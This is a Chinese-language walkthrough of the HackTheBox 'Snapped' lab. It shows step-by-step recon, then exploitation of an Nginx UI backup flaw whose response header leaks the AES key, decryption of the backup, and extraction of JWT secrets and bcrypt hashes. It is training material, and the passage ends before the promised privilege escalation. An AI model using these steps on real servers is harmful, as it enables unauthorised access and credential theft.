HackTheBox Snapped WP:从 Nginx UI 备份泄露到 snap-confine 本地提权

一、靶机的相关信息

二、信息搜集

对目标进行 TCP 全端口扫描 + 指纹识别 + 操作系统识别:

bash 复制代码
root@htb:~# rustscan -a 10.129.45.91 -r 1-65535 -- -sV -Pn -n -O

扫描结果显示有两个 TCP 端口开放,分别是 22 与 80:

bash 复制代码
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    syn-ack ttl 63 nginx 1.24.0 (Ubuntu)

从端口指纹信息看,目标大概率是 Ubuntu 系统。

根据信息:

复制代码
TTL 63 + Network Distance 2 hops

首先,2 hops 说明目标经过两条达到我这里,即原始 TTL 值很可能是 64,这同样符合 Linux 的指纹。

因为我们是通过 Openvpn 连接的靶机,因此中间隔一跳是正常的现象,而且这一跳大概率就是 VPN 隧道。

由此看来,目前最应该查看的就是 80 端口。

三、TCP 80

访问 80:

bash 复制代码
root@htb:~# curl http://10.129.45.91 -v
*   Trying 10.129.45.91:80...
* Connected to 10.129.45.91 (10.129.45.91) port 80 (#0)
> GET / HTTP/1.1
> Host: 10.129.45.91
> User-Agent: curl/7.88.1
> Accept: */*
> 
< HTTP/1.1 302 Moved Temporarily
< Server: nginx/1.24.0 (Ubuntu)
< Date: Wed, 29 Apr 2026 06:51:49 GMT
< Content-Type: text/html
< Content-Length: 154
< Connection: keep-alive
< Location: http://snapped.htb/

会重定向到 http://snapped.htb,跟随重定向:

bash 复制代码
root@htb:~# curl http://10.129.45.91 -v -L
*   Trying 10.129.45.91:80...
* Connected to 10.129.45.91 (10.129.45.91) port 80 (#0)
> GET / HTTP/1.1
> Host: 10.129.45.91
> User-Agent: curl/7.88.1
> Accept: */*
> 
< HTTP/1.1 302 Moved Temporarily
< Server: nginx/1.24.0 (Ubuntu)
< Date: Wed, 29 Apr 2026 06:52:30 GMT
< Content-Type: text/html
< Content-Length: 154
< Connection: keep-alive
< Location: http://snapped.htb/
< 
* Ignoring the response-body
* Connection #0 to host 10.129.45.91 left intact
* Issue another request to this URL: 'http://snapped.htb/'
* Could not resolve host: snapped.htb
* Closing connection 1
curl: (6) Could not resolve host: snapped.htb

显示无法处理域名 snapped.htb("Could not resolve host: snapped.htb")。

这是正常现象,要解析域名,系统首先会查询本地 DNS 记录,如果没有的话会询问递归 DNS 服务器,由它来完成后续 DNS 的解析并返回有效 A 记录(即 IP 地址),而 snapped.htb 显然是内部域名,非公网 DNS 中可解析的域名,这就导致本机无法拿到有效的地址,因此报错。

解决方法,在 /etc/hosts 文件中,手动添加主机和域名的映射关系:

bash 复制代码
root@htb:~# echo "10.129.45.91 snapped.htb" | tee -a /etc/hosts
10.129.45.91 snapped.htb

此时再次访问,就能看到:

响应包:

http 复制代码
< HTTP/1.1 200 OK
< Server: nginx/1.24.0 (Ubuntu)
< Date: Wed, 29 Apr 2026 07:09:14 GMT
< Content-Type: text/html
< Content-Length: 20199
< Last-Modified: Thu, 19 Mar 2026 15:11:44 GMT
< Connection: keep-alive
< ETag: "69bc1230-4ee7"
< Accept-Ranges: bytes

banner 显示,它运行着 Nginx 服务,并且版本号为 1.24.0,同时也告诉我们目标是 Ubuntu。

输入:

复制代码
http://snapped.htb/abcd

报错界面也出现了与 Banner 上看到的相同的信息:

从重定向后的 http 请求包的请求头:

http 复制代码
> GET / HTTP/1.1
> Host: snapped.htb
> User-Agent: curl/7.88.1
> Accept: */*

可以发现,这是虚拟主机的提示,可以尝试进行虚拟主机枚举:

bash 复制代码
root@htb:~# ffuf -u http://10.129.45.91 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.snapped.htb" -c -ac

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.1.0
________________________________________________

 :: Method           : GET
 :: URL              : http://10.129.45.91
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.snapped.htb
 :: Follow redirects : false
 :: Calibration      : true
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403
 :: Filter           : Response words: 4
 :: Filter           : Response lines: 8
 :: Filter           : Response size: 154
________________________________________________

admin                   [Status: 200, Size: 1407, Words: 164, Lines: 50]
:: Progress: [5000/5000] :: Job [1/1] :: 416 req/sec :: Duration: [0:00:12] :: Errors: 0 ::

发现虚拟主机 admin.snapped.htb

同样,在 hosts 文件中添加映射:

bash 复制代码
10.129.45.91 snapped.htb admin.snapped.htb

再次访问:

四、Nginx UI

这是一个开源的 Nginx 网络管理界面,项目地址:

复制代码
https://github.com/0xJacky/nginx-ui/

从介绍:

可以分析出,其很可能是:

  • 前端:Vue 框架
  • 后端:Go 编写

查找 JS 文件,并查看其中是否有暴露版本号的情况。

bash 复制代码
root@htb:~/backup# curl -s http://admin.snapped.htb/ | grep -P '\.js\b'
  <script type="module" crossorigin src="./assets/index-DoHxQupa.js"></script>

继续查看 index-DoHxQupa.js 文件:

bash 复制代码
root@htb:~/backup# curl -s http://admin.snapped.htb/assets/index-DoHxQupa.js | grep -oP 'version[-\w]*\.js'
version-BWPlJ0ga.js
version-CdjIlmL0.js

查看第一个文件就看到了版本号:

复制代码
root@htb:~/backup# curl -s http://admin.snapped.htb/assets/version-BWPlJ0ga.js
const t="2.3.2";const o={version:t,build_id:1,total_build:512};export{o as a,t as v};

版本号为 2.3.2

有了上述信息后,我的第一反应是通过版本号和对应组件关联公开 CVE。这是一种常见的 nday 思路(国内靶场基本都是这个套路)。

相比之下,国外大佬 0xdf(博客:https://0xdf.gitlab.io/),在同样的位置,他并没有立即跳到"找 CVE → 打 CVE",而是先记录站点行为,观察 Burp Site map 中出现的路径和请求,分析前端资源、接口结构、目录枚举结果以及应用功能。

Orz

我们应该脱离那种套路题的模板思路,转向真正的渗透测试思维。

这里模仿大佬的思路走一遍。

首先技术栈的识别:

bash 复制代码
root@curl http://admin.snapped.htb -I
HTTP/1.1 200 OK
Server: nginx/1.24.0 (Ubuntu)
Date: Wed, 29 Apr 2026 08:31:03 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 1407
Connection: keep-alive
Accept-Ranges: bytes
Request-Id: c1bb78f4-1571-42f7-ab3d-48921abc505f

Banner:nginx/1.24.0 (Ubuntu)

查看报错界面:

bash 复制代码
root@htb:~# curl http://admin.snapped.htb/abcd -v
*   Trying 10.129.45.91:80...
* Connected to admin.snapped.htb (10.129.45.91) port 80 (#0)
> GET /abcd HTTP/1.1
> Host: admin.snapped.htb
> User-Agent: curl/7.88.1
> Accept: */*
> 
< HTTP/1.1 404 Not Found
< Server: nginx/1.24.0 (Ubuntu)
< Date: Wed, 29 Apr 2026 08:31:57 GMT
< Content-Type: application/json; charset=utf-8
< Content-Length: 23
< Connection: keep-alive
< Request-Id: 9e11458a-5733-4f4e-8c88-d6d4dc8ab85f
< 
* Connection #0 to host admin.snapped.htb left intact
{"message":"not found"}

回复了一个 JSON 格式的正文内容。

值得注意的是,由于之前尝试过弱密码登入(admin:admin),Burp 中的 Site Map 就记录下来了对应的 API 信息:

在没有账号的前提下,无法对这个登入框有什么作为(SQL 测试之类的,在此处并不具备很高的优先级),因此决定采用目录枚举:

bash 复制代码
root@htb:~# feroxbuster -u http://admin.snapped.htb/
                                                                                                                                                                                                                        
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.13.1
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://admin.snapped.htb/
 🚩  In-Scope Url          │ admin.snapped.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.13.1
 💉  Config File           │ /root/.config/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        1l        2w       23c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET        9l       12w      243c http://admin.snapped.htb/browserconfig.xml
200      GET       63l      116w     1316c http://admin.snapped.htb/manifest.json
200      GET       30l      282w    11373c http://admin.snapped.htb/pwa-192x192.png
200      GET        6l       17w     1344c http://admin.snapped.htb/favicon-32x32.png
301      GET        0l        0w        0c http://admin.snapped.htb/assets => assets/
404      GET      212l      423w    12987c http://admin.snapped.htb/assets/
200      GET      106l      588w    50147c http://admin.snapped.htb/pwa-512x512.png
200      GET       64l      142w    75487c http://admin.snapped.htb/favicon.ico
200      GET        1l     8254w   308866c http://admin.snapped.htb/assets/index-Cjd4fVAL.css
200      GET      624l    38187w  2050223c http://admin.snapped.htb/assets/index-DoHxQupa.js
200      GET       50l      104w     1407c http://admin.snapped.htb/
403      GET        1l        2w       34c http://admin.snapped.htb/mcp
[####################] - 46s    60012/60012   0s      found:12      errors:0      
[####################] - 45s    30000/30000   667/s   http://admin.snapped.htb/ 
[####################] - 45s    30000/30000   672/s   http://admin.snapped.htb/assets/ 

在已知有 api 目录的前提下,可以对该目录进行补扫(因为上述扫描并没有看到这个目录):

bash 复制代码
root@htb:~# feroxbuster -u http://admin.snapped.htb/api
                                                                                                                                                                                                                        
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.13.1
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://admin.snapped.htb/api
 🚩  In-Scope Url          │ admin.snapped.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.13.1
 💉  Config File           │ /root/.config/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        1l        2w       23c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403      GET        1l        2w       34c http://admin.snapped.htb/api/user
403      GET        1l        2w       34c http://admin.snapped.htb/api/node
403      GET        1l        2w       34c http://admin.snapped.htb/api/sites
200      GET        1l        1w       29c http://admin.snapped.htb/api/install
403      GET        1l        2w       34c http://admin.snapped.htb/api/config
403      GET        1l        2w       34c http://admin.snapped.htb/api/users
200      GET       77l      454w    33017c http://admin.snapped.htb/api/backup
403      GET        1l        2w       34c http://admin.snapped.htb/api/events
403      GET        1l        2w       34c http://admin.snapped.htb/api/settings
403      GET        1l        2w       34c http://admin.snapped.htb/api/configs
403      GET        1l        2w       34c http://admin.snapped.htb/api/certs
403      GET        1l        2w       34c http://admin.snapped.htb/api/notifications
403      GET        1l        2w       34c http://admin.snapped.htb/api/streams
200      GET        1l        9w    52782c http://admin.snapped.htb/api/licenses
403      GET        1l        2w       34c http://admin.snapped.htb/api/analytic
403      GET        1l        2w       34c http://admin.snapped.htb/api/nodes
[####################] - 45s    30002/30002   0s      found:16      errors:0      
[####################] - 45s    30000/30000   667/s   http://admin.snapped.htb/api/
  • install
  • backup
  • licenses

这三个的响应码显示 200。

先看看 install

复制代码
root@htb:~# curl http://admin.snapped.htb/api/install -v
*   Trying 10.129.45.91:80...
* Connected to admin.snapped.htb (10.129.45.91) port 80 (#0)
> GET /api/install HTTP/1.1
> Host: admin.snapped.htb
> User-Agent: curl/7.88.1
> Accept: */*
> 
< HTTP/1.1 200 OK
< Server: nginx/1.24.0 (Ubuntu)
< Date: Wed, 29 Apr 2026 08:58:16 GMT
< Content-Type: application/json; charset=utf-8
< Content-Length: 29
< Connection: keep-alive
< Request-Id: 1e77b754-c5e9-4269-8708-096c549f7db2
< 
* Connection #0 to host admin.snapped.htb left intact
{"lock":true,"timeout":false}

显示被锁住了。

查看 licenses,能发现其中有大量的依赖信息已经对应的授权协议(licenses):

bash 复制代码
root@htb:~# curl http://admin.snapped.htb/api/licenses -s | jq . | head -20
{
  "backend": [
    {
      "name": "Go Programming Language",
      "license": "BSD-3-Clause",
      "url": "https://golang.org",
      "version": "go1.25.5"
    },
    {
      "name": "gorm.io/gorm",
      "license": "Unknown",
      "url": "https://gorm.io/gorm",
      "version": "v1.31.1"
    },
    {
      "name": "cloud.google.com/go/auth/oauth2adapt",
      "license": "Apache-2.0",
      "url": "https://cloud.google.com/go/auth/oauth2adapt",
      "version": "v0.2.8"
    },

五、backup

尝试访问:

bash 复制代码
root@htb:~# curl http://admin.snapped.htb/api/backup
Warning: Binary output can mess up your terminal. Use "--output -" to tell 
Warning: curl to output it to your terminal anyway, or consider "--output 
Warning: <FILE>" to save to a file.

看来会给我们一个文件,没有下载成功的原因是 curl 缺少了 --output 参数(通常简写为 -o),下载文件:

bash 复制代码
root@htb:~# curl -o backup http://admin.snapped.htb/api/backup
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 18354  100 18354    0     0  48495      0 --:--:-- --:--:-- --:--:-- 48427

查看文件类型:

bash 复制代码
root@htb:~# file backup 
backup: Zip archive data, at least v2.0 to extract, compression method=deflate

是一个压缩包,为了后续搞混,先将其重命名一下(加一个后缀):

复制代码
root@htb:~# mv backup backup.zip

解压:

bash 复制代码
root@htb:~# unzip backup.zip -d backup
Archive:  backup.zip
  inflating: backup/hash_info.txt    
  inflating: backup/nginx-ui.zip     
  inflating: backup/nginx.zip

进入 backup 目录,里面有三个文件:

bash 复制代码
root@htb:~# cd backup
root@htb:~/backup# ls
hash_info.txt  nginx-ui.zip  nginx.zip

查看三个文件的类型:

bash 复制代码
root@htb:~/backup# file *
hash_info.txt: data
nginx-ui.zip:  data
nginx.zip:     DOS executable (COM), start instruction 0xb8c85bbf ccfd9ffc

可以发现异常现象,明明应该是一个压缩包文件,却没有显示 Zip 字样,高度怀疑它们经过了加密、压缩封装或混淆处理。

注意:Linux 中并不靠后缀来决定文件类型,但是上面说其异常的点在于命名格式与实际检测结果不匹配。

这里顺带做个补充,file 的判断文件类型的逻辑主要靠 magic bytes,也就是文件开头的特征字节。

正常 ZIP 文件开头通常是:

复制代码
50 4b 03 04

也就是 ASCII 里的:

复制代码
PK..

这里文件的开头 magic bytes:

bash 复制代码
root@htb:~/backup# xxd -l 32 nginx-ui.zip
00000000: bdad dd14 e9a8 449d fd50 407b cd45 5b33  ......D..P@{.E[3
00000010: c465 fccf 73fd bd1a 4063 ff58 4cc1 c619  .e..s...@c.XL...

并不是正常的。

从全局视角来看,这里如果检查一下 http 响应部分,说不定就直接自己把这个 CVE 给挖出来了......

六、CVE-2026-27944

到了熟悉的"找 CVE"环节,通过 Dork 语法:

复制代码
Nginx UI "2.3.2" cve backup

大家可以发现,我在搜索内容中,添加了"backup"一词,这是上一步骤中我们卡住的部分,通过限定这个特殊词,能大幅度提升漏洞查找的精准度。

我们之前的操作刚好就卡在第二步这里(这也是我为什么说"要是看个响应,说不定就自己挖出来了")。

重新下载压缩包(因为 CBC 模式下的 IV 每次并不相同)

bash 复制代码
root@htb:~# curl -o backup.zip http://admin.snapped.htb/api/backup -v
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0*   Trying 10.129.45.91:80...
* Connected to admin.snapped.htb (10.129.45.91) port 80 (#0)
> GET /api/backup HTTP/1.1
> Host: admin.snapped.htb
> User-Agent: curl/7.88.1
> Accept: */*
> 
< HTTP/1.1 200 OK
< Server: nginx/1.24.0 (Ubuntu)
< Date: Wed, 29 Apr 2026 10:27:25 GMT
< Content-Type: application/zip
< Content-Length: 18354
< Connection: keep-alive
< Accept-Ranges: bytes
< Cache-Control: must-revalidate
< Content-Description: File Transfer
< Content-Disposition: attachment; filename=backup-20260429-062725.zip
< Content-Transfer-Encoding: binary
< Expires: 0
< Last-Modified: Wed, 29 Apr 2026 10:27:25 GMT
< Pragma: public
< Request-Id: 54536c03-4903-4b63-a56d-c015eb5a3441
< X-Backup-Security: qjhNvNsceSTvrkFKiTyshBYSmAXPOtXuOQTKjdZkcIA=:itB8QRRo9Q1+RRX+E6xByw==
< 
{ [12926 bytes data]
100 18354  100 18354    0     0  80054      0 --:--:-- --:--:-- --:--:-- 79800
* Connection #0 to host admin.snapped.htb left intact
  • 密钥:qjhNvNsceSTvrkFKiTyshBYSmAXPOtXuOQTKjdZkcIA=
  • IV:itB8QRRo9Q1+RRX+E6xByw==

解码:

bash 复制代码
root@htb:~# echo qjhNvNsceSTvrkFKiTyshBYSmAXPOtXuOQTKjdZkcIA= | base64 -d | xxd -p -c 0
aa384dbcdb1c7924efae414a893cac8416129805cf3ad5ee3904ca8dd6647080

root@htb:~# echo itB8QRRo9Q1+RRX+E6xByw== | base64 -d | xxd -p -c 0
8ad07c411468f50d7e4515fe13ac41cb

先解压下载下来的文件,并进入目录:

bash 复制代码
root@htb:~# unzip backup.zip -d backup
Archive:  backup.zip
  inflating: backup/hash_info.txt    
  inflating: backup/nginx-ui.zip     
  inflating: backup/nginx.zip        
root@htb:~# cd backup

在目录中,还有一个文件之前没分析,那就是 hash_info.txt,通过 cat 查看发现是一堆乱码:

复制代码
root@htb:~/backup# cat hash_info.txt 
3򳢭Q[þR"7V++Y񥑮ܧ~N±fC򺑻Z]֡~gެ鈙¹°ȉ񲝦ud7t闋fsQ	ڟ׶NJ­V|­ȏ@¤X‡𱴽s澞¤¬kԶ¢帐ړ8|n7
º:(Qj핈㜝u¢D]¯u³dw#

应该也是经过加密了的,可以先拿它试试解密操作:

bash 复制代码
root@htb:~/backup# openssl enc -aes-256-cbc -d -in hash_info.txt -out hash_info_dec.txt -K aa384dbcdb1c7924efae414a893cac8416129805cf3ad5ee3904ca8dd6647080 -iv 8ad07c411468f50d7e4515fe13ac41cb

root@htb:~/backup# cat hash_info_dec.txt
nginx-ui_hash: 6460e4970376c07e9773ef57ab85c93aebb137ef944ce720753121c9af693d7b
nginx_hash: 75deb0e951bb55d9866c155812e5cc60b611cdd947ae439b3114b56d50c8232b
timestamp: 20260429-062725
version: 2.3.2

成功恢复明文,说明 CVE 和思路都是对的。

同理解密那两个压缩包:

bash 复制代码
root@htb:~/backup# openssl enc -aes-256-cbc -d -in nginx-ui.zip -out nginx-ui-dec.zip -K aa384dbcdb1c7924efae414a893cac8416129805cf3ad5ee3904ca8dd6647080 -iv 8ad07c411468f50d7e4515fe13ac41cb
root@htb:~/backup# openssl enc -aes-256-cbc -d -in nginx.zip -out nginx-dec.zip -K aa384dbcdb1c7924efae414a893cac8416129805cf3ad5ee3904ca8dd6647080 -iv 8ad07c411468f50d7e4515fe13ac41cb

这样就获得两个解密后的压缩包了:

复制代码
root@htb:~/backup# file nginx-ui-dec.zip 
nginx-ui-dec.zip: Zip archive data, at least v2.0 to extract, compression method=deflate
root@htb:~/backup# file nginx-dec.zip 
nginx-dec.zip: Zip archive data, at least v2.0 to extract, compression method=store

解压:

bash 复制代码
root@htb:~/backup# unzip nginx-ui-dec.zip -d nginx-ui
Archive:  nginx-ui-dec.zip
  inflating: nginx-ui/app.ini        
  inflating: nginx-ui/database.db    
root@htb:~/backup# unzip nginx-dec.zip -d nginx
Archive:  nginx-dec.zip
   creating: nginx/conf.d/
  inflating: nginx/fastcgi.conf      
  inflating: nginx/fastcgi_params    
  inflating: nginx/koi-utf           
  inflating: nginx/koi-win           
  inflating: nginx/mime.types        
   creating: nginx/modules-available/
   creating: nginx/modules-enabled/
  inflating: nginx/nginx.conf        
  inflating: nginx/proxy_params      
  inflating: nginx/scgi_params       
   creating: nginx/sites-available/
  inflating: nginx/sites-available/nginx-ui  
  inflating: nginx/sites-available/snapped  
   creating: nginx/sites-enabled/
  inflating: nginx/sites-enabled/nginx-ui  -> /etc/nginx/sites-available/nginx-ui 
  inflating: nginx/sites-enabled/snapped  -> /etc/nginx/sites-available/snapped 
   creating: nginx/snippets/
  inflating: nginx/snippets/fastcgi-php.conf  
  inflating: nginx/snippets/snakeoil.conf  
  inflating: nginx/uwsgi_params      
  inflating: nginx/win-utf           
finishing deferred symbolic links:
  nginx/sites-enabled/nginx-ui -> /etc/nginx/sites-available/nginx-ui
  nginx/sites-enabled/snapped -> /etc/nginx/sites-available/snapped

七、查看压缩包中的内容

1、nginx

bash 复制代码
root@htb:~/backup/nginx# ls -l
total 68
drwxr-xr-x 2 root root 4096 Apr 29 10:27 conf.d
-rw-r--r-- 1 root root 1125 Apr 29 10:27 fastcgi.conf
-rw-r--r-- 1 root root 1055 Apr 29 10:27 fastcgi_params
-rw-r--r-- 1 root root 2837 Apr 29 10:27 koi-utf
-rw-r--r-- 1 root root 2223 Apr 29 10:27 koi-win
-rw-r--r-- 1 root root 5465 Apr 29 10:27 mime.types
drwxr-xr-x 2 root root 4096 Apr 29 10:27 modules-available
drwxr-xr-x 2 root root 4096 Apr 29 10:27 modules-enabled
-rw-r--r-- 1 root root 1483 Apr 29 10:27 nginx.conf
-rw-r--r-- 1 root root  180 Apr 29 10:27 proxy_params
-rw-r--r-- 1 root root  636 Apr 29 10:27 scgi_params
drwxr-xr-x 2 root root 4096 Apr 29 10:27 sites-available
drwxr-xr-x 2 root root 4096 Apr 29 10:27 sites-enabled
drwxr-xr-x 2 root root 4096 Apr 29 10:27 snippets
-rw-r--r-- 1 root root  664 Apr 29 10:27 uwsgi_params
-rw-r--r-- 1 root root 3071 Apr 29 10:27 win-utf

查看 nginx 配置文件(nginx.conf):

bash 复制代码
root@htb:~/backup/nginx# cat nginx.conf
user www-data;
worker_processes auto;
pid /run/nginx.pid;
error_log /var/log/nginx/error.log;
include /etc/nginx/modules-enabled/*.conf;

events {
	worker_connections 768;
	# multi_accept on;
}

http {

	##
	# Basic Settings
	##

	sendfile on;
	tcp_nopush on;
	types_hash_max_size 2048;

	include /etc/nginx/mime.types;
	default_type application/octet-stream;

	##
	# SSL Settings
	##

	ssl_protocols TLSv1 TLSv1.1 TLSv1.2 TLSv1.3; # Dropping SSLv3, ref: POODLE
	ssl_prefer_server_ciphers on;

	##
	# Logging Settings
	##

	access_log /var/log/nginx/access.log;
	error_log /var/log/nginx/error.log;

	##
	# Gzip Settings
	##

	gzip on;

	include /etc/nginx/conf.d/*.conf;
	include /etc/nginx/sites-enabled/*;
}

重点关注其中被包含进来的文件:

bash 复制代码
include /etc/nginx/modules-enabled/*.conf
include /etc/nginx/mime.types;
include /etc/nginx/conf.d/*.conf;
include /etc/nginx/sites-enabled/*;

其中:

  • mime.types 和文件类型有关
  • modules-enabledconf.d 这两个目录中并没有放内容

因此,重心就放在了 sites-enabled 目录:

bash 复制代码
root@htb:~/backup/nginx# ls -l sites-enabled/
total 0
lrwxrwxrwx 1 root root 35 Apr 29 12:00 nginx-ui -> /etc/nginx/sites-available/nginx-ui
lrwxrwxrwx 1 root root 34 Apr 29 12:00 snapped -> /etc/nginx/sites-available/snapped

开头的 l 是 link 的意思,表示该文件只是符号链接,其真实的地址在 -> 指向的位置,因此转而查看 sites-available 这个目录:

bash 复制代码
root@htb:~/backup/nginx# ls -l sites-available/
total 8
-rw-r--r-- 1 root root 463 Apr 29 10:27 nginx-ui
-rw-r--r-- 1 root root 264 Apr 29 10:27 snapped

依次查看:

bash 复制代码
root@htb:~/backup/nginx/sites-available# cat nginx-ui 
server {
    listen 80;
    server_name admin.snapped.htb;

    location / {
        proxy_pass http://127.0.0.1:9000;

        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;

        proxy_http_version 1.1;
        proxy_set_header Upgrade $http_upgrade;
        proxy_set_header Connection "upgrade";
    }
}

这就说明了:

  • admin.snapped.htb 是作为 127.0.0.1:9000 的反向代理存在的
  • 9000 端口应该就是之前看到的 Nginx Ui
bash 复制代码
root@htb:~/backup/nginx/sites-available# cat snapped 
server {
    listen 80 default_server;
    server_name snapped.htb;

    root /var/www/html/snapped;
    index index.html;



    if ($host != snapped.htb) {
        rewrite ^ http://snapped.htb/;

    }
    location / {
        try_files $uri $uri/ =404;
    }
}

信息:

  • 根目录为:/var/www/html/snapped
  • 对于任何不是 snapped.htb 的主机,它都有一条重写规则,这也印证了我们之前用 IP 访问 80 会重定向到 snapped.htb

2、nginx-ui

目录结构:

bash 复制代码
root@htb:~/backup# ls -l nginx-ui
total 260
-rw-r--r-- 1 root root   2295 Apr 29 10:27 app.ini
-rw-r--r-- 1 root root 262144 Apr 29 10:27 database.db

有两个文件,先看 app.ini

bash 复制代码
root@htb:~/backup/nginx-ui# cat app.ini 
[server]
RunMode           = release
HttpPort          = 9000
HTTPChallengePort = 9180
Host              = 127.0.0.1
Port              = 9000
BaseUrl           = 
EnableHTTPS       = false
SSLCert           = 
SSLKey            = 
EnableH2          = false
EnableH3          = false

[nginx]
ConfigDir       = /etc/nginx
BinaryPath      = /usr/sbin/nginx
AccessLogPath   = /var/log/nginx/access.log
ErrorLogPath    = /var/log/nginx/error.log
LogDirWhiteList = 
ConfigPath      = 
PIDPath         = 
SbinPath        = 
TestConfigCmd   = 
ReloadCmd       = 
RestartCmd      = 
StubStatusPort  = 0
ContainerName   = 

[database]
Path = /var/lib/nginx-ui/database.db
Name = database

[app]
PageSize  = 20
JwtSecret = 6c4af436-035a-4942-9ca6-172b36696ce9

[log]
EnableFileLog = false
Dir           = 
MaxSize       = 0
MaxAge        = 0
MaxBackups    = 0
Compress      = false

[sls]
AccessKeyId         = 
AccessKeySecret     = 
EndPoint            = 
ProjectName         = 
APILogStoreName     = 
DefaultLogStoreName = 
Source              = 

[auth]
IPWhiteList         = 
BanThresholdMinutes = 10
MaxAttempts         = 10

[backup]
GrantedAccessPath = 

[casdoor]
Endpoint        = 
ExternalUrl     = 
ClientId        = 
ClientSecret    = 
CertificatePath = 
Organization    = 
Application     = 
RedirectUri     = 

[cert]
RecursiveNameservers = 
Email                = admin@test.htb
CADir                = 
RenewalInterval      = 7
HTTPChallengePort    = 9180

[cluster]
Node = 

[crypto]
Secret = 5c942292647d73f597f47c0be2237bf7347cdb70a0e8e8558e448318862357d6

[http]
GithubProxy        = 
InsecureSkipVerify = false

[logrotate]
Enabled  = false
CMD      = logrotate /etc/logrotate.d/nginx
Interval = 1440

[nginx_log]
IndexingEnabled          = false
IndexPath                = 
IncrementalIndexInterval = 0

[node]
Name                 = 
Secret               = c64d7ca1-19cb-4ebe-96d4-49037e7df78e
SkipInstallation     = false
Demo                 = false
ICPNumber            = 
PublicSecurityNumber = 

[openai]
BaseUrl              = 
Token                = 
Proxy                = 
Model                = 
APIType              = OPEN_AI
EnableCodeCompletion = false
CodeCompletionModel  = 

[terminal]
StartCmd = login

[webauthn]
RPDisplayName = 
RPID          = 
RPOrigins     = 

这应该就是 nginx ui 的配置文件,信息:

复制代码
Email = admin@test.htb

还有一个文件是 SQLite 数据库文件,可以直接用 sqlite3 提取文件中的信息。

SQLite 是一个把整个数据库放在一个文件里的"轻量级数据库"。

bash 复制代码
root@htb:~/backup/nginx-ui# sqlite3 database.db
SQLite version 3.40.1 2022-12-28 14:03:47
Enter ".help" for usage hints.
sqlite> 

进入了交互式界面,查看有哪些表:

复制代码
sqlite> .table
acme_users         configs            namespaces         sites            
auth_tokens        dns_credentials    nginx_log_indices  streams          
auto_backups       dns_domains        nodes              upstream_configs 
ban_ips            external_notifies  notifications      users            
certs              llm_sessions       passkeys         
config_backups     migrations         site_configs 

查看 user 表:

复制代码
sqlite> SELECT * FROM users;
1|2026-03-19 08:22:54.41011219-04:00|2026-03-19 08:39:11.562741743-04:00||admin|$2a$10$8YdBq4e.WeQn8gv9E0ehh.quy8D/4mXHHY4ALLMAzgFPTrIVltEvm|1||g

|²7DĪ:𔕨½\ԝD°Oҽu#,|en
2|2026-03-19 09:54:01.989628406-04:00|2026-03-19 09:54:01.989628406-04:00||jonathan|$2a$10$8M7JZSRLKdtJpx9YRUNTmODN.pKoBsoGCBi5Z8/WVGO2od9oCSyWq|1||,¸§զ>>H򉿹e)5U¡К笕KĦ"D¨°Ɨ|en

看到了两个用户(其中一个是 admin),还有对应的哈希值。

哈希值以 $2 开头,并且总字符数为:

python 复制代码
root@htb:~/backup/nginx-ui# python3
Python 3.11.2 (main, Apr 28 2025, 14:11:48) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> str = "$2a$10$8YdBq4e.WeQn8gv9E0ehh.quy8D/4mXHHY4ALLMAzgFPTrIVltEvm"
>>> print(len(str))
60

这就基本可以判定,这就是 bcrypt hash。

拿 Admin 的 bcrypt hash 进行分解:

部分 含义 说明
$2a$ bcrypt 版本标识 2a 是最常见的版本
10$ Cost Factor(成本因子) 2^10 = 1024 次迭代,安全但不算特别强
